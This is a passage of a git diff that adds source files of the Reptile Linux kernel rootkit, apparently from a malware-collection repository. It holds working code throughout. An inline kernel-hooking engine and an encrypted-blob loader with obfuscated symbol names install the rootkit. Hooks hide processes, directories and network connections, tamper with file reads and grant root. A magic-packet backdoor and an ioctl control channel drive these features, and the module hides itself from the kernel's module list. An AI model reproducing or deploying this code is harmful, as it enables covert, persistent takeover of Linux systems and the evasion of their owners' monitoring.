KHOOK_tbl; p < KHOOK_tbl_end; p++) + +typedef struct { +#pragma pack(push, 1) + union { + unsigned char _0x00_[ 0x10 ]; + atomic_t use_count; + }; + union { + unsigned char _0x10_[ 0x20 ]; + unsigned char orig[0]; + }; + union { + unsigned char _0x30_[ 0x80 ]; + unsigned char hook[0]; + }; +#pragma pack(pop) + unsigned nbytes; +} __attribute__((aligned(32))) khook_stub_t; + +static khook_stub_t *khook_stub_tbl; + +#define KHOOK_STUB(h) \ + (khook_stub_tbl + ((h) - KHOOK_tbl)) + +#define KHOOK_STUB_TBL_SIZE \ + (sizeof(khook_stub_t) * (KHOOK_tbl_end - KHOOK_tbl + 1)) + +#if BITS_PER_LONG == 64 +# define KHOOK_STUB_FILE_NAME "stub.inc" +#else +# define KHOOK_STUB_FILE_NAME "stub32.inc" +#endif + +#ifdef DEBUG +# define khook_debug(fmt, ...) \ + pr_debug("[khook] " fmt, ##__VA_ARGS__) +#else +# define khook_debug(fmt, ...) +#endif diff --git a/Linux/Rootkits/Reptile/kernel/khook/x86/.gitignore b/Linux/Rootkits/Reptile/kernel/khook/x86/.gitignore new file mode 100644 index 0000000..d529c37 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/khook/x86/.gitignore @@ -0,0 +1,2 @@ +stub +stub32 diff --git a/Linux/Rootkits/Reptile/kernel/khook/x86/Makefile b/Linux/Rootkits/Reptile/kernel/khook/x86/Makefile new file mode 100644 index 0000000..aabf0aa --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/khook/x86/Makefile @@ -0,0 +1,12 @@ +STUB = stub.S + +stub: FORCE + gcc $(CFLAGS) -nostdlib -Wl,-e0 $(STUB) -o stub + objcopy --dump-section .text=/dev/stdout stub | xxd -i - >stub.inc + gcc $(CFLAGS) -m32 -nostdlib -Wl,-e0 $(STUB) -o stub32 + objcopy --dump-section .text=/dev/stdout stub32 | xxd -i - >stub32.inc + +clean: + rm -f stub *.inc + +FORCE: diff --git a/Linux/Rootkits/Reptile/kernel/khook/x86/README.md b/Linux/Rootkits/Reptile/kernel/khook/x86/README.md new file mode 100644 index 0000000..f6d01eb --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/khook/x86/README.md @@ -0,0 +1 @@ +KHOOK x86 stub generator, use `make` to (re)-generate. diff --git a/Linux/Rootkits/Reptile/kernel/khook/x86/hook.c b/Linux/Rootkits/Reptile/kernel/khook/x86/hook.c new file mode 100644 index 0000000..ae4076e --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/khook/x86/hook.c @@ -0,0 +1,83 @@ +#include "../internal.h" + +//////////////////////////////////////////////////////////////////////////////// +// IN-kernel length disassembler engine (x86 only, 2.6.33+) +//////////////////////////////////////////////////////////////////////////////// + +#include + +static struct { + typeof(insn_init) *init; + typeof(insn_get_length) *get_length; +} khook_arch_lde; + +static inline int khook_arch_lde_init(void) { + khook_arch_lde.init = khook_lookup_name("insn_init"); + if (!khook_arch_lde.init) return -EINVAL; + khook_arch_lde.get_length = khook_lookup_name("insn_get_length"); + if (!khook_arch_lde.get_length) return -EINVAL; + return 0; +} + +static inline int khook_arch_lde_get_length(const void *p) { + struct insn insn; + int x86_64 = 0; +#ifdef CONFIG_X86_64 + x86_64 = 1; +#endif +#if defined MAX_INSN_SIZE && (MAX_INSN_SIZE == 15) /* 3.19.7+ */ + khook_arch_lde.init(&insn, p, MAX_INSN_SIZE, x86_64); +#else + khook_arch_lde.init(&insn, p, x86_64); +#endif + khook_arch_lde.get_length(&insn); + return insn.length; +} + +//////////////////////////////////////////////////////////////////////////////// + +// place a jump at addr @a from addr @f to addr @t +static inline void x86_put_jmp(void *a, void *f, void *t) +{ + *((char *)(a + 0)) = 0xE9; + *(( int *)(a + 1)) = (long)(t - (f + 5)); +} + +static const char khook_stub_template[] = { +# include KHOOK_STUB_FILE_NAME +}; + +static inline void stub_fixup(void *stub, const void *value) { + while (*(int *)stub != 0xcacacaca) stub++; + *(long *)stub = (long)value; +} + +static inline void khook_arch_sm_init_one(khook_t *hook) { + khook_stub_t *stub = KHOOK_STUB(hook); + if (hook->target.addr[0] == (char)0xE9 || + hook->target.addr[0] == (char)0xCC) return; + + BUILD_BUG_ON(sizeof(khook_stub_template) > offsetof(khook_stub_t, nbytes)); + memcpy(stub, khook_stub_template, sizeof(khook_stub_template)); + stub_fixup(stub->hook, hook->fn); + + while (stub->nbytes < 5) + stub->nbytes += khook_arch_lde_get_length(hook->target.addr + stub->nbytes); + + memcpy(stub->orig, hook->target.addr, stub->nbytes); + x86_put_jmp(stub->orig + stub->nbytes, stub->orig + stub->nbytes, hook->target.addr + stub->nbytes); + if (hook->flags & KHOOK_F_NOREF) { + x86_put_jmp(hook->target.addr_map, hook->target.addr, hook->fn); + } else { + x86_put_jmp(hook->target.addr_map, hook->target.addr, stub->hook); + } + hook->orig = stub->orig; // the only link from hook to stub +} + +static inline void khook_arch_sm_cleanup_one(khook_t *hook) { + khook_stub_t *stub = KHOOK_STUB(hook); + memcpy(hook->target.addr_map, stub->orig, stub->nbytes); +} + +#define KHOOK_ARCH_INIT(...) \ + (khook_arch_lde_init()) diff --git a/Linux/Rootkits/Reptile/kernel/khook/x86/stub.S b/Linux/Rootkits/Reptile/kernel/khook/x86/stub.S new file mode 100644 index 0000000..5e68dca --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/khook/x86/stub.S @@ -0,0 +1,56 @@ +# +# KHOOK STUB layout +# ----------------- +# 0x00: atomic_t = (0) +# 0x10: orig function call wrapper +# 0x30: hook function call wrapper +# + +KHOOK_STUB_atomic_use_count: + .rept 16 + .byte 0x00 + .endr + +KHOOK_STUB_orig: + .rept 32 + .byte 0x00 + .endr + +# +# Hooking of function with more than N arguments requires us to +# make a local copy of all arguments starting from N as they are +# passed through the stack as per the ABI. +# +# TODO: x86-32 implementation of CALL_COPY_N_ARGS macro +# + +#ifdef __x86_64__ +.macro CALL_COPY_N_ARGS n + sub $(\n * 8), %rsp + .set i, 0 + .rept \n + mov ((\n + i + 1) * 8)(%rsp), %rax + mov %rax, (i * 8)(%rsp) + .set i, i + 1 + .endr + movabs $0xcacacacacacacaca, %rax + call *%rax + add $(\n * 8), %rsp +.endm +KHOOK_STUB_hook: + lock incl KHOOK_STUB_atomic_use_count(%rip) + CALL_COPY_N_ARGS 8 + lock decl KHOOK_STUB_atomic_use_count(%rip) + ret +#else +KHOOK_STUB_hook: + call 1f +1: pop %eax + lock incl -(1b - KHOOK_STUB_atomic_use_count)(%eax) + mov $0xcacacaca, %eax + call *%eax + call 1f +1: pop %ecx + lock decl -(1b - KHOOK_STUB_atomic_use_count)(%ecx) + ret +#endif diff --git a/Linux/Rootkits/Reptile/kernel/khook/x86/stub.inc b/Linux/Rootkits/Reptile/kernel/khook/x86/stub.inc new file mode 100644 index 0000000..7f99bf2 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/khook/x86/stub.inc @@ -0,0 +1,14 @@ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xf0, 0xff, 0x05, 0xc9, 0xff, 0xff, 0xff, 0x48, 0x83, 0xec, 0x40, 0x48, + 0x8b, 0x44, 0x24, 0x48, 0x48, 0x89, 0x04, 0x24, 0x48, 0x8b, 0x44, 0x24, + 0x50, 0x48, 0x89, 0x44, 0x24, 0x08, 0x48, 0x8b, 0x44, 0x24, 0x58, 0x48, + 0x89, 0x44, 0x24, 0x10, 0x48, 0x8b, 0x44, 0x24, 0x60, 0x48, 0x89, 0x44, + 0x24, 0x18, 0x48, 0x8b, 0x44, 0x24, 0x68, 0x48, 0x89, 0x44, 0x24, 0x20, + 0x48, 0x8b, 0x44, 0x24, 0x70, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x8b, + 0x44, 0x24, 0x78, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8b, 0x84, 0x24, + 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x38, 0x48, 0xb8, 0xca, + 0xca, 0xca, 0xca, 0xca, 0xca, 0xca, 0xca, 0xff, 0xd0, 0x48, 0x83, 0xc4, + 0x40, 0xf0, 0xff, 0x0d, 0x5c, 0xff, 0xff, 0xff, 0xc3 diff --git a/Linux/Rootkits/Reptile/kernel/khook/x86/stub32.inc b/Linux/Rootkits/Reptile/kernel/khook/x86/stub32.inc new file mode 100644 index 0000000..468c057 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/khook/x86/stub32.inc @@ -0,0 +1,7 @@ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xe8, 0x00, 0x00, 0x00, 0x00, 0x58, 0xf0, 0xff, 0x40, 0xcb, 0xb8, 0xca, + 0xca, 0xca, 0xca, 0xff, 0xd0, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x59, 0xf0, + 0xff, 0x49, 0xba, 0xc3 diff --git a/Linux/Rootkits/Reptile/kernel/kmatryoshka/Kbuild b/Linux/Rootkits/Reptile/kernel/kmatryoshka/Kbuild new file mode 100644 index 0000000..0e74d56 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/kmatryoshka/Kbuild @@ -0,0 +1,11 @@ +TARGET ?= reptile + +obj-m += $(TARGET).o +$(TARGET)-y += kmatryoshka.o + +ccflags-y += -I$(src)/../include +ccflags-y += -I$(src)/../../output +ccflags-y += $(CFLAGS) -Os -fomit-frame-pointer -fno-stack-protector + +KBUILD_CFLAGS := $(subst -pg,,$(KBUILD_CFLAGS)) +KBUILD_CFLAGS := $(subst -mfentry,,$(KBUILD_CFLAGS)) diff --git a/Linux/Rootkits/Reptile/kernel/kmatryoshka/kmatryoshka.c b/Linux/Rootkits/Reptile/kernel/kmatryoshka/kmatryoshka.c new file mode 100644 index 0000000..ef35a4a --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/kmatryoshka/kmatryoshka.c @@ -0,0 +1,84 @@ +#include +#include +#include +#include + +#ifndef user_addr_max +#define user_addr_max() (current_thread_info()->addr_limit.seg) +#endif + +#include "encrypt.h" + +#define SYS_INIT_MODULE \ + ({ \ + unsigned int *p = __builtin_alloca(16); \ + p[0] = 0x5f737973; \ + p[1] = 0x74696e69; \ + p[2] = 0x646f6d5f; \ + p[3] = 0x00656c75; \ + (char *)p; \ + }) + +#define __DO_SYS_INIT_MODULE \ + ({ \ + unsigned int *p = __builtin_alloca(24); \ + p[0] = 0x6f645f5f; \ + p[1] = 0x7379735f; \ + p[2] = 0x696e695f; \ + p[3] = 0x6f6d5f74; \ + p[4] = 0x656c7564; \ + p[5] = 0x00000000; \ + (char *)p; \ + }) + +static char parasite_blob[] = { +#include "parasite_blob.inc" +}; + +static int ksym_lookup_cb(unsigned long data[], const char *name, void *module, + unsigned long addr) +{ + int i = 0; + while (!module && (((const char *)data[0]))[i] == name[i]) { + if (!name[i++]) + return !!(data[1] = addr); + } + return 0; +} + +static inline unsigned long ksym_lookup_name(const char *name) +{ + unsigned long data[2] = {(unsigned long)name, 0}; + kallsyms_on_each_symbol((void *)ksym_lookup_cb, data); + return data[1]; +} + +int init_module(void) +{ + int ret = -EINVAL; + asmlinkage long (*sys_init_module)(const void *, unsigned long, const char *) = NULL; + + do_decrypt(parasite_blob, sizeof(parasite_blob), DECRYPT_KEY); + + sys_init_module = (void *)ksym_lookup_name(SYS_INIT_MODULE); + + if (!sys_init_module) + sys_init_module = (void *)ksym_lookup_name(__DO_SYS_INIT_MODULE); + + if (sys_init_module) { + const char *nullarg = parasite_blob; + unsigned long seg = user_addr_max(); + + while (*nullarg) + nullarg++; + + user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE); + if(sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg) == 0) ret = -37; // would be 1337, but is too obvious. hahaha + user_addr_max() = seg; + } + + return ret; +} + +MODULE_LICENSE("GPL"); +MODULE_INFO(intree, "Y"); diff --git a/Linux/Rootkits/Reptile/kernel/loader/loader.c b/Linux/Rootkits/Reptile/kernel/loader/loader.c new file mode 100644 index 0000000..f9fc7a0 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/loader/loader.c @@ -0,0 +1,37 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "encrypt.h" + +static char reptile_blob[] = { +#include "reptile.ko.inc" +}; + +#define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values) + +int main(void) +{ + int ret = EXIT_FAILURE; + size_t len; + void *module_image; + + len = sizeof(reptile_blob); + do_decrypt(reptile_blob, len, DECRYPT_KEY); + module_image = malloc(len); + memcpy(module_image, reptile_blob, len); + init_module(module_image, len, ""); + + if (errno == 37) + ret = EXIT_SUCCESS; + + free(module_image); + return ret; +} diff --git a/Linux/Rootkits/Reptile/kernel/main.c b/Linux/Rootkits/Reptile/kernel/main.c new file mode 100644 index 0000000..ebf5c9b --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/main.c @@ -0,0 +1,482 @@ +#include +#include + +#include "khook/engine.c" +#include "config.h" +#include "util.h" + +#ifdef CONFIG_AUTO_HIDE +# include "module.h" +#endif + +int hidden = 1; + +/* ------------------------ HIDE PROCESS ------------------------- */ + +#ifdef CONFIG_HIDE_PROC + +#include +#include "proc.h" + +KHOOK(copy_creds); +static int khook_copy_creds(struct task_struct *p, unsigned long clone_flags) +{ + int ret = 0; + + ret = KHOOK_ORIGIN(copy_creds, p, clone_flags); + if (!ret && is_task_invisible(current)) + p->flags |= FLAG; + + return ret; +} + +KHOOK(exit_creds); +static void khook_exit_creds(struct task_struct *p) +{ + KHOOK_ORIGIN(exit_creds, p); + if (is_task_invisible(p)) + p->flags &= ~FLAG; +} + +KHOOK(audit_alloc); +static int khook_audit_alloc(struct task_struct *t) +{ + int err = 0; + + if (is_task_invisible(t)) { + clear_tsk_thread_flag(t, TIF_SYSCALL_AUDIT); + } else { + err = KHOOK_ORIGIN(audit_alloc, t); + } + return err; +} + +KHOOK(find_task_by_vpid); +struct task_struct *khook_find_task_by_vpid(pid_t vnr) +{ + struct task_struct *tsk = NULL; + + tsk = KHOOK_ORIGIN(find_task_by_vpid, vnr); + if (tsk && is_task_invisible(tsk) && !is_task_invisible(current)) + tsk = NULL; + + return tsk; +} + +KHOOK_EXT(int, vfs_statx, int, const char __user *, int, struct kstat *, u32); +static int khook_vfs_statx(int dfd, const char __user *filename, int flags, struct kstat *stat, + u32 request_mask) +{ + if (is_proc_invisible_2(filename)) + return -EINVAL; + + return KHOOK_ORIGIN(vfs_statx, dfd, filename, flags, stat, request_mask); +} + +KHOOK_EXT(long, sys_kill, long, long); +static long khook_sys_kill(long pid, long sig) { + if (sig == 0) { + if (is_proc_invisible(pid)) { + return -ESRCH; + } + } + + return KHOOK_ORIGIN(sys_kill, pid, sig); +} + +KHOOK_EXT(long, __x64_sys_kill, const struct pt_regs *); +static long khook___x64_sys_kill(const struct pt_regs *regs) { + if (regs->si == 0) { + if (is_proc_invisible(regs->di)) { + return -ESRCH; + } + } + + return KHOOK_ORIGIN(__x64_sys_kill, regs); +} + +KHOOK_EXT(struct tgid_iter, next_tgid, struct pid_namespace *, struct tgid_iter); +static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_iter iter) +{ + if (hidden) { + while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) { + if (!(iter.task->flags & FLAG)) + break; + + iter.tgid++; + } + } else { + iter = KHOOK_ORIGIN(next_tgid, ns, iter); + } + return iter; +} + +#endif + +/* ------------------------- HIDE DIR --------------------------- */ + +#ifdef CONFIG_HIDE_DIR + +#include +#include "dir.h" + +/* Can you see a little problem on those hooks? This is not the best + * way to do this feature, but I am going to keep it this way, after all, + * this is just a public project, isn't it? + */ +KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int); +static int khook_fillonedir(void *__buf, const char *name, int namlen, + loff_t offset, u64 ino, unsigned int d_type) +{ + int ret = -ENOENT; + if (!strstr(name, HIDE) || !hidden) + ret = KHOOK_ORIGIN(fillonedir, __buf, name, namlen, offset, ino, d_type); + return ret; +} + +KHOOK_EXT(int, filldir, void *, const char *, int, loff_t, u64, unsigned int); +static int khook_filldir(void *__buf, const char *name, int namlen, + loff_t offset, u64 ino, unsigned int d_type) +{ + int ret = -ENOENT; + if (!strstr(name, HIDE) || !hidden) + ret = KHOOK_ORIGIN(filldir, __buf, name, namlen, offset, ino, d_type); + return ret; +} + +KHOOK_EXT(int, filldir64, void *, const char *, int, loff_t, u64, unsigned int); +static int khook_filldir64(void *__buf, const char *name, int namlen, + loff_t offset, u64 ino, unsigned int d_type) +{ + int ret = -ENOENT; + if (!strstr(name, HIDE) || !hidden) + ret = KHOOK_ORIGIN(filldir64, __buf, name, namlen, offset, ino, d_type); + return ret; +} + +KHOOK_EXT(int, compat_fillonedir, void *, const char *, int, loff_t, u64, unsigned int); +static int khook_compat_fillonedir(void *__buf, const char *name, int namlen, + loff_t offset, u64 ino, unsigned int d_type) +{ + int ret = -ENOENT; + if (!strstr(name, HIDE) || !hidden) + ret = KHOOK_ORIGIN(compat_fillonedir, __buf, name, namlen, offset, ino, d_type); + return ret; +} + +KHOOK_EXT(int, compat_filldir, void *, const char *, int, loff_t, u64, unsigned int); +static int khook_compat_filldir(void *__buf, const char *name, int namlen, + loff_t offset, u64 ino, unsigned int d_type) +{ + int ret = -ENOENT; + if (!strstr(name, HIDE) || !hidden) + ret = KHOOK_ORIGIN(compat_filldir, __buf, name, namlen, offset, ino, d_type); + return ret; +} + +#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 12, 0) +KHOOK_EXT(int, compat_filldir64, void *buf, const char *, int, loff_t, u64, unsigned int); +static int khook_compat_filldir64(void *__buf, const char *name, int namlen, + loff_t offset, u64 ino, unsigned int d_type) +{ + int ret = -ENOENT; + if (!strstr(name, HIDE) || !hidden) + ret = KHOOK_ORIGIN(compat_filldir64, __buf, name, namlen, offset, ino, d_type); + return ret; +} +#endif + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 9, 0) +KHOOK_EXT(struct dentry *, __d_lookup, const struct dentry *, const struct qstr *); +struct dentry *khook___d_lookup(const struct dentry *parent, const struct qstr *name) +#else +KHOOK_EXT(struct dentry *, __d_lookup, struct dentry *, struct qstr *); +struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name) +#endif +{ + struct dentry *found = NULL; + if (!strstr(name->name, HIDE) || !hidden) + found = KHOOK_ORIGIN(__d_lookup, parent, name); + return found; +} +#endif + +/* --------------------- FILE CONTENT TAMPERING --------------------- */ + +#ifdef CONFIG_FILE_TAMPERING + +#include "file.h" + +atomic_t read_on; +int file_tampering_flag = 0; + +// This is not the best way to do that, but it works, maybe in the future I change that +KHOOK_EXT(ssize_t, vfs_read, struct file *, char __user *, size_t, loff_t *); +static ssize_t khook_vfs_read(struct file *file, char __user *buf, + size_t count, loff_t *pos) +{ + ssize_t ret; + + atomic_set(&read_on, 1); + ret = KHOOK_ORIGIN(vfs_read, file, buf, count, pos); + + if (file_tampering_flag) { + if (file_check(buf, ret) == 1) + ret = hide_content(buf, ret); + } + atomic_set(&read_on, 0); + + return ret; +} + +#endif + +/* ------------------------ HIDE CONNECTIONS ------------------------- */ + +#ifdef CONFIG_HIDE_CONN + +#include +#include +#include "network.h" + +LIST_HEAD(hidden_conn_list); + +KHOOK_EXT(int, tcp4_seq_show, struct seq_file *, void *); +static int khook_tcp4_seq_show(struct seq_file *seq, void *v) +{ + int ret; + struct sock *sk = v; + struct inet_sock *inet; + struct hidden_conn *hc; + unsigned int daddr; + //unsigned short dport; + + if (v == SEQ_START_TOKEN) { + goto origin; + } + + inet = (struct inet_sock *)sk; + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 33) + daddr = inet->inet_daddr; + //dport = inet->inet_dport; +#else + daddr = inet->daddr; + //dport = inet->dport; +#endif + + list_for_each_entry(hc, &hidden_conn_list, list) + { + if (hc->addr.sin_addr.s_addr == daddr /* && hc->addr.sin_port == dport */) { + ret = 0; + goto out; + } + } +origin: + ret = KHOOK_ORIGIN(tcp4_seq_show, seq, v); +out: + return ret; +} + +KHOOK_EXT(int, udp4_seq_show, struct seq_file *, void *); +static int khook_udp4_seq_show(struct seq_file *seq, void *v) +{ + int ret; + struct sock *sk = v; + struct inet_sock *inet; + struct hidden_conn *hc; + unsigned int daddr; + //unsigned short dport; + + if (v == SEQ_START_TOKEN) { + goto origin; + } + + inet = (struct inet_sock *)sk; + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 33) + daddr = inet->inet_daddr; + //dport = inet->inet_dport; +#else + daddr = inet->daddr; + //dport = inet->dport; +#endif + + list_for_each_entry(hc, &hidden_conn_list, list) + { + if (hc->addr.sin_addr.s_addr == daddr /* && hc->addr.sin_port == dport */) { + ret = 0; + goto out; + } + } +origin: + ret = KHOOK_ORIGIN(udp4_seq_show, seq, v); +out: + return ret; +} + +#endif + +/* ----------------------------- BACKDOOR ----------------------------- */ + +#ifdef CONFIG_BACKDOOR +#include +#include "backdoor.h" + +KHOOK_EXT(int, ip_rcv, struct sk_buff *, struct net_device *, struct packet_type *, struct net_device *); +static int khook_ip_rcv(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt, + struct net_device *orig_dev) +{ + if (magic_packet_parse(skb)) + return KHOOK_ORIGIN(ip_rcv, skb, dev, pt, orig_dev); + + return 0; +} + +#endif + +/* ------------------------------ COMMON ----------------------------- */ + +#if defined(CONFIG_HIDE_PROC) && defined(CONFIG_BACKDOOR) +#include + +KHOOK_EXT(int, load_elf_binary, struct linux_binprm *); +static int khook_load_elf_binary(struct linux_binprm *bprm) +{ + int ret = KHOOK_ORIGIN(load_elf_binary, bprm); + + if (!ret && !strcmp(bprm->filename, SHELL_PATH)) + flag_tasks(current->pid, 1); + + return ret; +} +#endif + +/* ------------------------------- CONTROL ----------------------------- */ + +#include +#include +#include + +int control_flag = 0; + +struct control { + unsigned short cmd; + void *argv; +}; + +KHOOK_EXT(int, inet_ioctl, struct socket *, unsigned int, unsigned long); +static int khook_inet_ioctl(struct socket *sock, unsigned int cmd, + unsigned long arg) +{ + int ret = 0; + unsigned int pid; + struct control args; + struct sockaddr_in addr; + + if (cmd == AUTH && arg == HTUA) { + if (control_flag) { + control_flag = 0; + } else { + control_flag = 1; + } + + goto out; + } + + if (control_flag && cmd == AUTH) { + if (copy_from_user(&args, (void *)arg, sizeof(args))) + goto out; + + switch (args.cmd) { + case 0: +#ifdef CONFIG_AUTO_HIDE + hide_module(); +#endif + flip_hidden_flag(); + break; + case 1: + if (copy_from_user(&pid, args.argv, sizeof(unsigned int))) + goto out; + +#ifdef CONFIG_HIDE_PROC + hide_proc(pid); +#endif + break; + case 2: +#ifdef CONFIG_FILE_TAMPERING + file_tampering(); +#endif + break; + case 3: +#ifdef CONFIG_GIVE_ROOT + get_root(); +#endif + break; + case 4: + if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in))) + goto out; + +#ifdef CONFIG_HIDE_CONN + network_hide_add(addr); +#endif + break; + case 5: + if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in))) + goto out; + +#ifdef CONFIG_HIDE_CONN + network_hide_remove(addr); +#endif + break; + default: + goto origin; + } + + goto out; + } + +origin: + ret = KHOOK_ORIGIN(inet_ioctl, sock, cmd, arg); +out: + return ret; +} + +/* ------------------------------------------------------------------ */ + +static int __init reptile_init(void) +{ + int ret; + +#ifdef CONFIG_FILE_TAMPERING + /* Unfortunately I need to use this to ensure in some kernel + * versions we will be able to unload the kernel module when + * it is needed. Otherwise khook may take a really huge delay + * to unload because of vfs_read hook + */ + atomic_set(&read_on, 0); +#endif + ret = khook_init(); + if (ret < 0) + return ret; + +#ifdef CONFIG_AUTO_HIDE + hide_module(); +#endif + + run_cmd(START_SCRIPT); + + return ret; +} + +static void __exit reptile_exit(void) +{ +#ifdef CONFIG_FILE_TAMPERING + while(atomic_read(&read_on) != 0) schedule(); +#endif + khook_cleanup(); +} + +module_init(reptile_init); +module_exit(reptile_exit); +MODULE_LICENSE("GPL"); diff --git a/Linux/Rootkits/Reptile/kernel/module.c b/Linux/Rootkits/Reptile/kernel/module.c new file mode 100644 index 0000000..c05d436 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/module.c @@ -0,0 +1,39 @@ +#include +#include +#include + +#include "module.h" + +int hide_m = 0; +static struct list_head *mod_list; + +void hide(void) +{ + while (!mutex_trylock(&module_mutex)) + cpu_relax(); + mod_list = THIS_MODULE->list.prev; + list_del(&THIS_MODULE->list); + kfree(THIS_MODULE->sect_attrs); + THIS_MODULE->sect_attrs = NULL; + mutex_unlock(&module_mutex); + + hide_m = 1; +} + +void show(void) +{ + while (!mutex_trylock(&module_mutex)) + cpu_relax(); + list_add(&THIS_MODULE->list, mod_list); + mutex_unlock(&module_mutex); + + hide_m = 0; +} + +void hide_module(void) +{ + if (hide_m == 0) + hide(); + else if (hide_m == 1) + show(); +} diff --git a/Linux/Rootkits/Reptile/kernel/network.c b/Linux/Rootkits/Reptile/kernel/network.c new file mode 100644 index 0000000..8f67975 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/network.c @@ -0,0 +1,78 @@ +#include +#include +#include +#include + +#include "network.h" +#include "string_helpers.h" + +void network_hide_add(struct sockaddr_in addr) +{ + struct hidden_conn *hc; + + hc = kmalloc(sizeof(*hc), GFP_KERNEL); + + if (!hc) + return; + + hc->addr = addr; + list_add(&hc->list, &hidden_conn_list); +} + +void network_hide_remove(struct sockaddr_in addr) +{ + struct hidden_conn *hc; + + list_for_each_entry(hc, &hidden_conn_list, list) + { + if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) { + list_del(&hc->list); + kfree(hc); + break; + } + } +} + +int is_addr_hidden(struct sockaddr_in addr) +{ + struct hidden_conn *hc; + + list_for_each_entry(hc, &hidden_conn_list, list) + { + if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) + return 1; + } + + return 0; +} + +/* +unsigned int _inet4_pton(char *src) +{ + unsigned int dst; + int srclen = strlen(src); + + if (srclen > INET_ADDRSTRLEN) + return -EINVAL; + + if (in4_pton(src, srclen, (u8 *)&dst, -1, NULL) == 0) + return -EINVAL; + + return dst; +} + +void hide_conn(char *ip_str) +{ + unsigned int ip; + struct sockaddr_in addr; + + if ((ip = _inet4_pton(ip_str)) > 0) { + addr.sin_addr.s_addr = ip; + + if (is_addr_hidden(addr)) + network_hide_remove(addr); + else + network_hide_add(addr); + } +} +*/ \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/proc.c b/Linux/Rootkits/Reptile/kernel/proc.c new file mode 100644 index 0000000..45a7788 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/proc.c @@ -0,0 +1,144 @@ +#include +#include +#include +#include +#include +#include + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0) +# include +#endif + +#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0) +# include "string_helpers.h" +#endif + +#include "proc.h" + +int flag_tasks(pid_t pid, int set) +{ + int ret = 0; + struct pid *p; + + rcu_read_lock(); + p = find_get_pid(pid); + if (p) { + struct task_struct *task = get_pid_task(p, PIDTYPE_PID); + if (task) { +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0) + struct task_struct *t = NULL; + + for_each_thread(task, t) + { + if (set) + t->flags |= FLAG; + else + t->flags &= ~FLAG; + + ret++; + } +#endif + if (set) + task->flags |= FLAG; + else + task->flags &= ~FLAG; + + put_task_struct(task); + } + put_pid(p); + } + rcu_read_unlock(); + return ret; +} + +struct task_struct *find_task(pid_t pid) +{ + struct task_struct *p = current; + struct task_struct *ret = NULL; + + rcu_read_lock(); + for_each_process(p) + { + if (p->pid == pid) { + get_task_struct(p); + ret = p; + } + } + rcu_read_unlock(); + + return ret; +} + +int is_proc_invisible(pid_t pid) +{ + struct task_struct *task; + int ret = 0; + + if (!pid) + return ret; + + task = find_task(pid); + if (!task) + return ret; + + if (is_task_invisible(task)) + ret = 1; + + put_task_struct(task); + return ret; +} + +int is_proc_invisible_2(const char __user *filename) +{ + int ret = 0, i, argc, is_num = 1; + pid_t pid = 0; + char **a; + char *name = kmalloc(PATH_MAX, GFP_KERNEL); + + if (strncpy_from_user(name, filename, PATH_MAX) > 0) { + if (strncmp(name, "/proc/", 6) == 0) { + strreplace(name, '/', ' '); + + a = argv_split(GFP_KERNEL, name, &argc); + + for (i = 0; i < strlen(a[1]); i++) { + if (!isdigit(*a[1])) + is_num = 0; + } + + if (is_num) { + if (kstrtoint(a[1], 10, &pid) == 0) { + if (is_proc_invisible(pid)) + ret = 1; + } + } + + argv_free(a); + } + } + + kfree(name); + return ret; +} + +void hide_proc(pid_t pid) +{ + if (is_proc_invisible(pid)) + flag_tasks(pid, 0); + else + 